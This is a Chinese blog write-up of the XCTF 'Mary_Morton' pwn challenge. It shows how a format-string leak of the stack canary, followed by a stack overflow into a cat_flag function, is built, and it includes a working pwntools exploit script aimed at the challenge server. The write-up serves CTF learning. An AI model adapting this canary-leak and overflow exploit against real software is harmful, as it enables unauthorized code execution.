Mary_Morton(xctf)

程序保护和流程保护:流程:main()如果输入1会进入这个函数有一个栈溢出漏洞。如果输入2会进入这个函数有一个格式化字符串漏洞。还有一个cat_flag的函数0x1 利用过程首先这个程序开启了canary,所以直接栈溢出会报错。但是我们知道v2变量中存放的是canary值(v2在函数开始时就被**__readfsqword(0x28u)赋值,函数结束前与__readfsqword(0x28u)**进行比较),如果我们能通过格式化字符串漏洞将v2的值泄露出来就可以利用栈溢出漏洞
摘要由CSDN通过智能技术生成

0x0 程序保护和流程

保护:

在这里插入图片描述

流程:

main()

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bq3HEwXC-1591926684688)(C:\Users\PC\Desktop\学习任务\CTF\xctf\高手\Mary_Morton\picture\main.png)]
在这里插入图片描述
如果输入1会进入

在这里插入图片描述

这个函数有一个栈溢出漏洞。

如果输入2会进入

在这里插入图片描述

这个函数有一个格式化字符串漏洞。

还有一个cat_flag的函数

在这里插入图片描述

0x1 利用过程

首先这个程序开启了canary,所以直接栈溢出会报错。但是我们知道v2变量中存放的是canary值(v2在函数开始时就被**__readfsqword(0x28u)赋值,函数结束前与__readfsqword(0x28u)**进行比较),如果我们能通过格式化字符串漏洞将v2的值泄露出来就可以利用栈溢出漏洞。首先先确定偏移量。

在这里插入图片描述

偏移量为6的位置是格式化字符串漏洞这个函数的栈的开始位置,而开始位置距离与v2的距离为0x88。所以当格式化字符串构造成**%(6+0x88/8)p**的时候就会将v2这个地址中的值已十六进制的形式输出出来。之后就可以绕过canary获得flag了。

0x02 exp

from pwn import *
sh=remote('220.249.52.133','45164')
#sh=process('./a')
cat_flag=0x4008DA
offset=6
sh.recvuntil('3. Exit the battle \n')
sh.sendline('2')
payload='%{}$p'.format(offset+0x88/8)
sh.sendline(payload)
sh.recvuntil("0x")
canary_addr=int(sh.recv(16), 16)
sh.recvuntil('3. Exit the battle \n')
sh.sendline('1')
payload='a'*0x88+p64(canary_addr)+'a'*8+p64(cat_flag)
sh.sendline(payload)
sh.interactive()
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值